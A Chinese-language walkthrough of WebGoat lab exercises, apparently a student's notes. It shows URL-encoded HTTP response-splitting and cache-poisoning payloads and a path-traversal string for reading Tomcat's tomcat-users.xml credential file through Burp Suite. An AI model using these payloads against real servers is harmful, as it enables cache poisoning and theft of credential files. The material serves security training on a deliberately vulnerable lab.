WebGoat是基于WEB實驗漏洞的Java靶場程式,跨站點腳本攻擊(XSS),通路控制,線程安全,操作隐藏字段,操縱參數,弱會話cookie,SQL盲注,數字型SQL注入,字元串型SQL注入,web服務、Open Authentication失效,危險的HTML注釋等
0xx1 General
- HTTP相應
主要是了解HTTP送出,輸入框輸入之後點選送出就行
- HTTP拆分
- 判斷,重定向裡邊的Location參數恰好是送出的參數chinese,這樣,就存在HTTP應答拆分的可能
-
- 在http://yehg.net/encoding/進行URL編碼,将URL編碼後送出
China
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
<html>Gogoing</html>
URL編碼為:
China%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2047%0A%3Chtml%3EGogoing%3C%2Fhtml%3E%0A
如果某行的内容是Content-Length:0,則浏覽器響應隊列會認為這個響應已經結束.浏覽器向重定向位址發送請求後會把Content-Length:0之後的内容當成下一個響應,進而顯示<html>Gogoing</html>頁面内容
- 在這個基礎上可以改進攻擊方式讓它更有威脅.在構造的請求中加入Last-modify字段,并設定一個将來的值比如2020年1月1日.意思是伺服器告訴浏覽器,這個網頁最後一次修改是在2020年1月1日.如果浏覽器不清除緩存,下一次請求這個頁面會加上if-modify-since字段,值是2020年1月1日,也就是說浏覽器會問伺服器,這個網頁在2020年1月1日之後修改過嘛?當然伺服器是人的話肯定會對這個問法莫名其妙,怎麼會傳過來一個未來的值?但是因為是程式,伺服器會比對最後一次修改時間和傳過來的時間,發現傳過來的時間較新,就會回送304即Not Modified,表示這個網頁沒有被修改過.浏覽器接受到了這個響應會從本地緩存讀取網頁,當然是之前注入的錯誤網頁.如果浏覽器不清除緩存,再也别想讀取到正确的網頁資訊了.這就是HTTP的Cache Poisoning(緩存毒化)。
-
china
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: application/x-www-form-urlencoded
Last-Modified: Mon, 27 Oct 2222 14:50:18 GMT
Content-Length: 47
URL編碼:
china%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202222%2014%3A50%3A18%20GMT%0AContent-Length%3A%2047
0xx2 Access Control Flaws(通路控制缺陷)
1. Using an Access Control Matrix(使用通路控制矩陣)
這個就比較簡單了,找到對應權限就OK
2. Bypass a Path Based Access Control Scheme(繞過基于路徑的通路控制方案)
我們需要找到對應的.xml檔案來通關,由于啟動方式的不同,檔案路徑也不一定相同
首先,先确定一下目前路徑和目标路徑(經查證,我這裡的目标路徑給錯了,應該是tomcat6/conf/tomcat-user.xml)
然後使用Burpsuite抓包,然後修改一下File部分,修改為: ../../../../../../../../../var/lib/tomcat6/conf/tomcat-users.xml(注意自己的路徑,此處不唯一)